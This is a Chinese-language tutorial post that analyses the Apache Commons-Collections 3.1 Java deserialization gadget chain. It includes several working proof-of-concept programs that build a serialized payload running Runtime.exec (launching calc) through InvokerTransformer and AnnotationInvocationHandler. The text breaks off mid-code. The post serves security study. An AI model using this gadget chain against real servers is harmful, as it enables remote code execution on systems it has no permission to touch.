JAVA反序列化学习-Commons-Collections
字数 2510 2023-02-26 00:35:40

JAVA反序列化学习-Commons-Collections

# commons-collections-3.1

Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认...

commons-collections-3.1

Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展

该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入

选择版本为3.1,下载地址,

        <dependencies>
            <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
            <dependency>
                <groupId>commons-collections</groupId>
                <artifactId>commons-collections</artifactId>
                <version>3.1</version>
            </dependency>
        </dependencies>

poc执行过程

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Commons_collections_Test {

<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
    <span class="hljs-comment">//1.客户端构建攻击代码</span>
    <span class="hljs-comment">//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码</span>
    Transformer[] transformers = <span class="hljs-keyword">new</span> Transformer[] {
            <span class="hljs-keyword">new</span> ConstantTransformer(Runtime.class),
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"getMethod"</span>, <span class="hljs-keyword">new</span> Class[] {String.class, Class[].class }, <span class="hljs-keyword">new</span> Object[] {<span class="hljs-string">"getRuntime"</span>, <span class="hljs-keyword">new</span> Class[<span class="hljs-number">0</span>] }),
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> Class[] {Object.class, Object[].class }, <span class="hljs-keyword">new</span> Object[] {<span class="hljs-keyword">null</span>, <span class="hljs-keyword">new</span> Object[<span class="hljs-number">0</span>] }),
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> Class[] {String.class }, <span class="hljs-keyword">new</span> Object[] {<span class="hljs-string">"calc.exe"</span>})
    };
    <span class="hljs-comment">//将transformers数组存入ChaniedTransformer这个继承类</span>
    Transformer transformerChain = <span class="hljs-keyword">new</span> ChainedTransformer(transformers);

    <span class="hljs-comment">//创建Map并绑定transformerChain</span>
    Map innerMap = <span class="hljs-keyword">new</span> HashMap();
    innerMap.put(<span class="hljs-string">"value"</span>, <span class="hljs-string">"value"</span>);
    <span class="hljs-comment">//给予map数据转化链</span>
    Map outerMap = TransformedMap.decorate(innerMap, <span class="hljs-keyword">null</span>, transformerChain);
    <span class="hljs-comment">//反射机制调用AnnotationInvocationHandler类的构造函数</span>
    Class cl = Class.forName(<span class="hljs-string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    <span class="hljs-comment">//取消构造函数修饰符限制</span>
    ctor.setAccessible(<span class="hljs-keyword">true</span>);
    <span class="hljs-comment">//获取AnnotationInvocationHandler类实例</span>
    Object instance = ctor.newInstance(Target.class, outerMap);

    <span class="hljs-comment">//payload序列化写入文件,模拟网络传输</span>
    FileOutputStream f = <span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"payload.bin"</span>);
    ObjectOutputStream fout = <span class="hljs-keyword">new</span> ObjectOutputStream(f);
    fout.writeObject(instance);

    <span class="hljs-comment">//2.服务端读取文件,反序列化,模拟网络传输</span>
    FileInputStream fi = <span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"payload.bin"</span>);
    ObjectInputStream fin = <span class="hljs-keyword">new</span> ObjectInputStream(fi);
    <span class="hljs-comment">//服务端反序列化</span>
    fin.readObject();
}

}

调用栈

RDx3CR.png

org.apache.commons.collections.map.AbstractInputCheckedMapDecorator#setValue

首先进入的是setValue()方法,调用了checkSetValue()

RDxQUJ.png

org.apache.commons.collections.map.TransformedMap#checkSetValue

this.valueTransformer等于ChainedTransformer类,调用了ChainedTransformer类中的transform方法

RDx881.png

org.apache.commons.collections.functors.ChainedTransformer#transform

RDxl59.png

根据this.iTransformers数组的值可以知道,第一次进入的是ConstantTransformer类的transform方法,后三次进入的是InvokerTransformer类的transformtransform的返回值会作为下个transform函数的参数,然后继续执行

RDxdVe.png

看一下ChainedTransformer的构造函数,可以发现this.iTransformers可控

RDxo2q.png

org.apache.commons.collections.functors.ChainedTransformer#ConstantTransformer

第一次进入的transform

RDxUbD.png

org.apache.commons.collections.functors.InvokerTransformer#transform

后三次进入InvokerTransformerTransformer方法,这里存在反射调用,参数可控。

执行过程

  • setValue()
  • checkSetvalue()
  • ChainedTransformer类中的transform方法
  • 四次循环,第一次进入ConstantTransformer的transform,后三次进入InvokerTransformer的transform
  • 触发反射

反射链

org.apache.commons.collections.functors.InvokerTransformer#transform

这里实现了反射调用,如果input等于Runtime类,那么input.getClass获取到的是java.lang.class,这样无法获取到方法,必须让input等于Runtime实例

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
            <span class="hljs-comment">//input必须为Runtime的实例,cls才会等于Runtime类,</span>
            Class cls = input.getClass();

            <span class="hljs-comment">//this.iMethodName等于exec,this.iParamTypes等于String.class</span>
            Method method = cls.getMethod(<span class="hljs-keyword">this</span>.iMethodName, <span class="hljs-keyword">this</span>.iParamTypes);
            <span class="hljs-comment">//this.Args为要执行的命令</span>
            <span class="hljs-keyword">return</span> method.invoke(input, <span class="hljs-keyword">this</span>.iArgs); 
        } 
       .........
}

}

看一下构造函数,三个属性都是传入参数

RDxNDO.png

参考反射命令执行代码

Class.forName("java.lang.Runtime")
                .getMethod("exec", String.class)
                .invoke(                        Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))
                        ,
                        "calc.exe"
                );

需要满足以下条件

this.iMethodName=“exec”
this.iParamTypes=String.class
input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))
this.iArgs="calc.exe"

尝试尝试构造执行命令

import org.apache.commons.collections.functors.InvokerTransformer;

public class Commons_collections_Test {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"});
invokerTransformer.transform(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")));

}

}

RDxwUH.png

可以成功执行,但是还存在一个问题就是无法传入Runtime的实例对象。

两种获取Runtime实例的错误思路

用readObject模拟反序列化

序列化

import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Commons_collections_Test {

<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{

    <span class="hljs-comment">//构造InvokerTransformer</span>
    InvokerTransformer a=<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[]{String.class},<span class="hljs-keyword">new</span> String[]{<span class="hljs-string">"calc.exe"</span>});

    <span class="hljs-comment">//序列化</span>
    FileOutputStream f=<span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"payload.bin"</span>);
    ObjectOutputStream fout=<span class="hljs-keyword">new</span> ObjectOutputStream(f);
    fout.writeObject(a);

    <span class="hljs-comment">//构造传入transform的参数,Runtime实例</span>
    Object input=Class.forName(<span class="hljs-string">"java.lang.Runtime"</span>).getMethod(<span class="hljs-string">"getRuntime"</span>).invoke(Class.forName(<span class="hljs-string">"java.lang.Runtime"</span>));

    <span class="hljs-comment">//反序列化</span>
    FileInputStream fi=<span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"payload.bin"</span>);
    ObjectInputStream fin=<span class="hljs-keyword">new</span> ObjectInputStream(fi);
    InvokerTransformer b=(InvokerTransformer) fin.readObject();

    <span class="hljs-comment">//触发漏洞,调用transform,input为传入参数</span>
    b.transform(input);
}

}

反序列化

可以看到存在一个问题,必须给transform传入一个构造好的Runtime实例也就是input才可以触发漏洞,实际环境里不可能有这样一个构造好的实例,那么能否利用反序列化给transform传入Runtime实例呢?

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Serial implements Serializable {
public static void main(String[] args) throws Exception{
//构造传入transform的参数,为Runtime实例,
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));

    <span class="hljs-comment">//反序列化</span>
    FileInputStream fi=<span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"payload.bin"</span>);
    ObjectInputStream fin=<span class="hljs-keyword">new</span> ObjectInputStream(fi);
    InvokerTransformer b=(InvokerTransformer) fin.readObject();

    <span class="hljs-comment">//触发漏洞,调用transform,input为传入参数</span>
    b.transform(input);
}

}

RDxr8I.png

org.apache.commons.collections.functors.ChainedTransformer#transform

这里可以控制传入transform的参数,因为object的来源是上一次this.ITransformers[i].transform的返回值,而且因为iTransformers可控,我们可以调用任意一个类的transform方法

RDxl59.png

org.apache.commons.collections.functors.ChainedTransformer#ConstantTransformer

这里我们可以控制this.iContant,它会等于下一次执行的传入参数object。表面上看让它等于Runtime实例就解决了之前无法传入Runtime实例的问题,但是实际上并不可行,因为Runtime类不能被反序列化

RDxUbD.png

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Commons_collections_Test {

<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{

    <span class="hljs-comment">//构造Transformers数组</span>
    Transformer[] transformers=<span class="hljs-keyword">new</span> Transformer[]{
            <span class="hljs-keyword">new</span> ConstantTransformer(Class.forName(<span class="hljs-string">"java.lang.Runtime"</span>).getMethod(<span class="hljs-string">"getRuntime"</span>).invoke(Class.forName(<span class="hljs-string">"java.lang.Runtime"</span>))),
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[]{String.class},<span class="hljs-keyword">new</span> String[]{<span class="hljs-string">"calc.exe"</span>})
    };

    <span class="hljs-comment">//用ChainedTransformer封装构造好的Transformers数组,也就是让构造好的数组等于this.iTransformers</span>
    Transformer transformerChain=<span class="hljs-keyword">new</span> ChainedTransformer(transformers);

    <span class="hljs-comment">//序列化</span>
    FileOutputStream f=<span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"payload.bin"</span>);
    ObjectOutputStream fout=<span class="hljs-keyword">new</span> ObjectOutputStream(f);
    fout.writeObject(transformerChain);

}

}

执行失败

RDxDPA.png

换一种思路,有没有可能利用反射直接在服务器生成一个Runtime实例?

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Commons_collections_Test {

<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{

    <span class="hljs-comment">//构造transformers</span>
    Transformer[] transformers=<span class="hljs-keyword">new</span> Transformer[]{
            <span class="hljs-keyword">new</span> ConstantTransformer(Runtime.class),
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"getRuntime"</span>,<span class="hljs-keyword">new</span> Class[]{},<span class="hljs-keyword">new</span> Object[]{}),
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[]{String.class},<span class="hljs-keyword">new</span> String[]{<span class="hljs-string">"calc.exe"</span>})
    };

    Transformer transformerChain=<span class="hljs-keyword">new</span> ChainedTransformer(transformers);

    transformerChain.transform(<span class="hljs-keyword">null</span>);
}

}

依然报错,原因是前面提到的反射机制,Runtime.class返回java.lang.class,这里我们必须把Runtime.class换成Runtime实例.class才能按预想中的执行,但是我们现在就在想办法得到Runtime实例,这样就变成一个死循环了。这个方法也不行

RDx05d.png

反射+反射

getRuntime方法会返回Runtime实例,只要获取到了getRuntime方法再invoke执行就等于获取到了Runtime实例。既然无法直接获取Runtime实例,那可以去尝试获取getRuntime方法。

注意:开始传入的是java.lang.class类(Runtime.class)

步骤

  1. 通过反射机制获取反射机制中的getMethod类,由于getMethod类是存在Class类中,就符合开头Class类的限制
  2. 通过getMethod函数获取Runtime类中的getRuntime函数。在哪个类中调用getMethod去获取方法,实际上是由invoke函数里面的的第一个参数obj决定的
  3. 再通过反射机制获取反射机制中的invoke类,执行上面获取的getRuntime函数
  4. invoke调用getRuntime函数,获取Runtime类的实例。里在使用反射机制调用getRuntime静态类时,invoke里面第一个参数obj其实可以任意改为null,或者其他类,而不一定要是Runtime类

关于反射

类.getMethod(要获取的方法名,要获取方法的参数类型) 获得方法对象
方法对象.invoke(相关类实例/相关类,参数) 执行方法

invoke的第一个参数是执行method的对象obj:
如果这个方法是一个普通方法,那么第一个参数是类对象
如果这个方法是一个静态方法,那么第一个参数是类

接下来分析一下利用反射机制进行反射调用的过程

第一次循环直接返回了Runtime.class

RDxUbD.png

input1=Runtime.class

第二次

实际执行的代码

 //第二次循环
        Class cls2=input1.getClass(); //cls2:java.lang.class类
        Method method2=cls2.getMethod("getMethod", String.class, Class[].class);//method2:通过反射获取到的getMethod对象
        Object input2=method2.invoke(input1,new Object[] {"getRuntime", new Class[]{} });//input2:getRuntime对象

RDxh5j.png

RDxfaQ.png

RDxIGn.png

第三次循环,最重要的一步,先用反射获取invoke方法对象,然后利用invoke方法对象.invoke执行传入getRuntime方法对象,得到Runtime实例

//第三次循环,input是通过反射获取到的getRuntime对象
        Class cls3=input2.getClass();//java.lang.reflec.Method类
        Method method3=cls3.getMethod("invoke", new Class[] {Object.class, Object[].class });//method3:invoke方法对象.第二个参数为invoke的参数类型
    <span class="hljs-comment">//invoke方法对象.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs)</span>
    Object input3=method3.invoke(input2,<span class="hljs-keyword">new</span> Object[] {<span class="hljs-keyword">null</span>, <span class="hljs-keyword">new</span> Object[]{} }); <span class="hljs-comment">//input3:Runtime实例</span>

RDxs2t.png

RDxgr8.png

第四次循环

 //第四次循环,已经获取到了Runtime实例
        Class cls4=input3.getClass(); //cls4:java.lang.Runtime类
        Method method4=cls4.getMethod("exec",new Class[] {String.class });//method4:exec方法对象
        method4.invoke(input3,new Object[] {"calc.exe"});//exec方法对象.invoke(Runtime实例,参数)

RDxcKf.png

RDx2qS.png

简化流程

import java.lang.reflect.Method;

public class Commons_collections_Test {

<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{

    <span class="hljs-comment">//第一次循环,返回了Runtie.class</span>
    Class input1=Runtime.class;

    <span class="hljs-comment">//第二次循环</span>
    Class cls2=input1.getClass(); <span class="hljs-comment">//cls2:java.lang.class类</span>
    Method method2=cls2.getMethod(<span class="hljs-string">"getMethod"</span>, String.class, Class[].class);<span class="hljs-comment">//method2:通过反射获取到的getMethod对象</span>
    Object input2=method2.invoke(input1,<span class="hljs-keyword">new</span> Object[] {<span class="hljs-string">"getRuntime"</span>, <span class="hljs-keyword">new</span> Class[]{} });<span class="hljs-comment">//input2:getRuntime对象</span>

    <span class="hljs-comment">//第三次循环,input是通过反射获取到的getRuntime对象</span>
    Class cls3=input2.getClass();<span class="hljs-comment">//java.lang.reflec.Method类</span>
    Method method3=cls3.getMethod(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> Class[] {Object.class, Object[].class });<span class="hljs-comment">//method3:invoke方法对象.第二个参数为invoke的参数类型</span>

    <span class="hljs-comment">//invoke方法对象.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs)</span>
    Object input3=method3.invoke(input2,<span class="hljs-keyword">new</span> Object[] {<span class="hljs-keyword">null</span>, <span class="hljs-keyword">new</span> Object[]{} }); <span class="hljs-comment">//input3:Runtime实例</span>

    <span class="hljs-comment">//第四次循环,已经获取到了Runtime实例</span>
    Class cls4=input3.getClass(); <span class="hljs-comment">//cls4:java.lang.Runtime类</span>
    Method method4=cls4.getMethod(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[] {String.class });<span class="hljs-comment">//method4:exec方法对象</span>
    method4.invoke(input3,<span class="hljs-keyword">new</span> Object[] {<span class="hljs-string">"calc.exe"</span>});<span class="hljs-comment">//exec方法对象.invoke(Runtime实例,参数)</span>

}

}

反序列化触发点

到目前为止我们已经构造好了反射利用链,现在来看一下如何触发,触发需要两个条件

  1. 服务器调用readObject反序列化构造好的ChainedChainedTransformer
  2. 调用反序列化后的ChainedTransformer类中的transform方法执行命令

代码如下,实际环境中基本不可能满足这两个条件,因此我们需要寻找其他触发方式

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Commons_collections_Test {

<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
    Transformer[] transformers=<span class="hljs-keyword">new</span> Transformer[]{
            <span class="hljs-keyword">new</span> ConstantTransformer(Runtime.class),
            <span class="hljs-comment">//根据transform的执行规则,InvokeTransformer类构造函数的第一个参数为要执行的,第二个参数为一个Class[],包含了要获取方法的参数类型。第三个参数为invoke的第二个参数</span>
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"getMethod"</span>,<span class="hljs-keyword">new</span> Class[]{String.class,Class[].class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-string">"getRuntime"</span>,<span class="hljs-keyword">new</span> Class[]{}}),
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"invoke"</span>,<span class="hljs-keyword">new</span> Class[]{Object.class,Object[].class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-keyword">null</span>,<span class="hljs-keyword">new</span> Object[]{}}),
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[]{String.class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-string">"calc"</span>})
    };

    <span class="hljs-comment">//把构造好的数组封装成ChainedTransformer</span>
    ChainedChainedTransformer chainedTransformer=<span class="hljs-keyword">new</span> ChainedTransformer(transformers);

    <span class="hljs-comment">//序列化数据</span>
    FileOutputStream fileOutputStream=<span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"payload.bin"</span>);
    ObjectOutputStream objectOutputStream=<span class="hljs-keyword">new</span> ObjectOutputStream(fileOutputStream);
    objectOutputStream.writeObject(chainedTransformer);

    <span class="hljs-comment">//反序列化数据</span>
    FileInputStream fileInputStream=<span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"payload.bin"</span>);
    ObjectInputStream objectInputStream=<span class="hljs-keyword">new</span> ObjectInputStream(fileInputStream);

    <span class="hljs-comment">//调用反序列化后的ChainedTransformer类中的transform方法触发</span>
    ChainedTransformer SerialChainTransformer=(ChainedTransformer)objectInputStream.readObject();
    SerialChainTransformer.transform(<span class="hljs-keyword">null</span>);

}

}

关于Map的一些补充知识

Map是java中的接口,Map.Entry是Map的一个内部接口

  • keySet()方法返回Map中key值的集合
  • entrySet()返回一个Set集合,集合类型为Map.Entry(键值对)
  • Map.Entry是Map声明的一个内部接口,Map.Entry表示一个实体即键值对(key-value对)
  • getKey(),getValue方法可以修改集合中的元素

绑定Map和ChainedTransformer

为什么要绑定Map和ChainedTransformer?

之前我们把构造好的Transformer数组封装成了一个ChainedTransformer,TransformerMap类的decorate方法可以绑定map和ChainedTransformer,只要在map中添加数据就会自动调用构造好的ChainedTransformer,执行payload,这样降低了触发的难度

目前的执行过程

  1. 创建一个Map和一个构造好反射链的ChainedTransformer
  2. 调用TransformedMap类的decorate方法创建一个实例,绑定创建好的Map和ChainedTransformer
  3. 利用setValue()函数修改TransformedMap中的键值
  4. 触发ChainedTransformer中的Transform反射链

org.apache.commons.collections.map.TransformedMap#decorate

RDxTx0.png

TransformedMap类的功能?

Map类是保存键值对的数据结构,common collections中实现了一个TransformedMap类,这个类可以在键值对的key或者value被修改时自动调用我们设置的transform方法进行修饰和变换。decorate方法可以创建一个TransformedMap的实例。

decorate方法的功能?

创建一个TransformedMap实例,绑定Map和转换方法
它的第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空),第三个参数为Map对象内的value要经过的转化方法。

代码实例

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class Commons_collections_Test {

<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
    Transformer[] transformers=<span class="hljs-keyword">new</span> Transformer[]{
            <span class="hljs-keyword">new</span> ConstantTransformer(Runtime.class),
            <span class="hljs-comment">//根据transform的执行规则,InvokeTransformer类构造函数的第一个参数为要执行的,第二个参数为一个Class[],包含了要获取方法的参数类型。第三个参数为invoke的第二个参数</span>
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"getMethod"</span>,<span class="hljs-keyword">new</span> Class[]{String.class,Class[].class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-string">"getRuntime"</span>,<span class="hljs-keyword">new</span> Class[]{}}),
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"invoke"</span>,<span class="hljs-keyword">new</span> Class[]{Object.class,Object[].class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-keyword">null</span>,<span class="hljs-keyword">new</span> Object[]{}}),
            <span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[]{String.class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-string">"calc"</span>})
    };

    <span class="hljs-comment">//把构造好的数组封装成ChainedTransformer</span>
    ChainedTransformer chainedTransformer=<span class="hljs-keyword">new</span> ChainedTransformer(transformers);

    Map innerMap=<span class="hljs-keyword">new</span> HashMap();
    innerMap.put(<span class="hljs-string">"value"</span>,<span class="hljs-string">"value"</span>);

    Map map=TransformedMap.decorate(innerMap,<span class="hljs-keyword">null</span>,chainedTransformer);

    <span class="hljs-comment">//序列化map</span>
    FileOutputStream fileOutputStream=<span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"payload.bin"</span>);
    ObjectOutputStream objectOutputStream=<span class="hljs-keyword">new</span> ObjectOutputStream(fileOutputStream);
    objectOutputStream.writeObject(map);

    FileInputStream fileInputStream=<span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"payload.bin"</span>);
    ObjectInputStream objectInputStream=<span class="hljs-keyword">new</span> ObjectInputStream(fileInputStream);
    <span class="hljs-comment">//反序列化</span>
    Map UnserializedMap=(Map)objectInputStream.readObject();

    <span class="hljs-comment">//只要修改Map的值就会触发转换链,执行payload</span>

    <span class="hljs-comment">//向Map中添加新值</span>
    <span class="hljs-comment">//UnserializedMap.put("123","123");</span>
    <span class="hljs-comment">//修改键值</span>
    Map.Entry entry  = (Map.Entry) UnserializedMap.entrySet().iterator().next();
    entry.setValue(<span class="hljs-string">"foobar"</span>);

}

}

目前存在的问题?

现在触发条件变成了经过迭代器迭代调用setValue函数修改Map值来触发漏洞,

但是仍然依赖于调用setValue(),需要进一步延长利用链,在调用readObject()方法时直接触发payload

AnnotationInvocationHandler的readObject复写点

进一步延长利用链

java在反序列化中会优先调用复写的readObject,那么如果某个可以被序列化中的类重写了readObject()方法,并且在readObject()方法中存在修改Map类型变量键值的操作,同时Map类型变量可控的话,就可以实现一步到位,一调用readObject()就触发payload。

概括一下目标类需要满足的三个条件

  1. 存在复写的readObject()方法
  2. readObject()方法中存在修改Map类型变量键值的操作
  3. Map类型变量可控

这个类就是sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler构造函数

可以看到有一个可控的成员变量memberValues,接收传入的Map参数,

RDxHMV.png

sun.reflect.annotation.AnnotationInvocationHandler#readObject

这里对memberValues进行了setValue操作,触发payload

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;
    <span class="hljs-keyword">try</span> {
        var2 = AnnotationType.getInstance(<span class="hljs-keyword">this</span>.type);
    } <span class="hljs-keyword">catch</span> (IllegalArgumentException var9) {
        <span class="hljs-keyword">return</span>;
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = <span class="hljs-keyword">this</span>.memberValues.entrySet().iterator();

    <span class="hljs-keyword">while</span>(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        <span class="hljs-keyword">if</span> (var7 != <span class="hljs-keyword">null</span>) {
            Object var8 = var5.getValue();
            <span class="hljs-keyword">if</span> (!var7.isInstance(var8) &amp;&amp; !(var8 <span class="hljs-keyword">instanceof</span> ExceptionProxy)) {
                var5.setValue((<span class="hljs-keyword">new</span> AnnotationTypeMismatchExceptionProxy(var8.getClass() + <span class="hljs-string">"["</span> + var8 + <span class="hljs-string">"]"</span>)).setMember((Method)var2.members().get(var6))); <span class="hljs-comment">//存在setValue</span>
            }
        }
    }

}

总结

过程总结

  1. 首先构造一个Map和一个能够执行代码的ChainedTransformer(),
  2. 调用TransformedMap.decorate绑定Map和ChainedTransformer,生成一个TransformedMap实例
  3. 实例化AnnotationInvocationHandler类,并对其进行序列化,
  4. 当触发readObject()反序列化的时候,就能实现命令执行。
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class POC_Test{
public static void main(String[] args) throws Exception {
//execArgs: 待执行的命令数组
//String[] execArgs = new String[] { "sh", "-c", "whoami &gt; /tmp/fuck" };

    <span class="hljs-comment">//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组</span>
    Transformer[] transformers = <span class="hljs-keyword">new</span> Transformer[] {
        <span class="hljs-keyword">new</span> ConstantTransformer(Runtime.class),
        <span class="hljs-comment">/*
        由于Method类的invoke(Object obj,Object args[])方法的定义
        所以在反射内写new Class[] {Object.class, Object[].class }
        正常POC流程举例:
        ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
        */</span>
        <span class="hljs-keyword">new</span> InvokerTransformer(
            <span class="hljs-string">"getMethod"</span>,
            <span class="hljs-keyword">new</span> Class[] {String.class, Class[].class },
            <span class="hljs-keyword">new</span> Object[] {<span class="hljs-string">"getRuntime"</span>, <span class="hljs-keyword">new</span> Class[<span class="hljs-number">0</span>] }
        ),
        <span class="hljs-keyword">new</span> InvokerTransformer(
            <span class="hljs-string">"invoke"</span>,
            <span class="hljs-keyword">new</span> Class[] {Object.class,Object[].class }, 
            <span class="hljs-keyword">new</span> Object[] {<span class="hljs-keyword">null</span>, <span class="hljs-keyword">null</span> }
        ),
        <span class="hljs-keyword">new</span> InvokerTransformer(
            <span class="hljs-string">"exec"</span>,
            <span class="hljs-keyword">new</span> Class[] {String[].class },
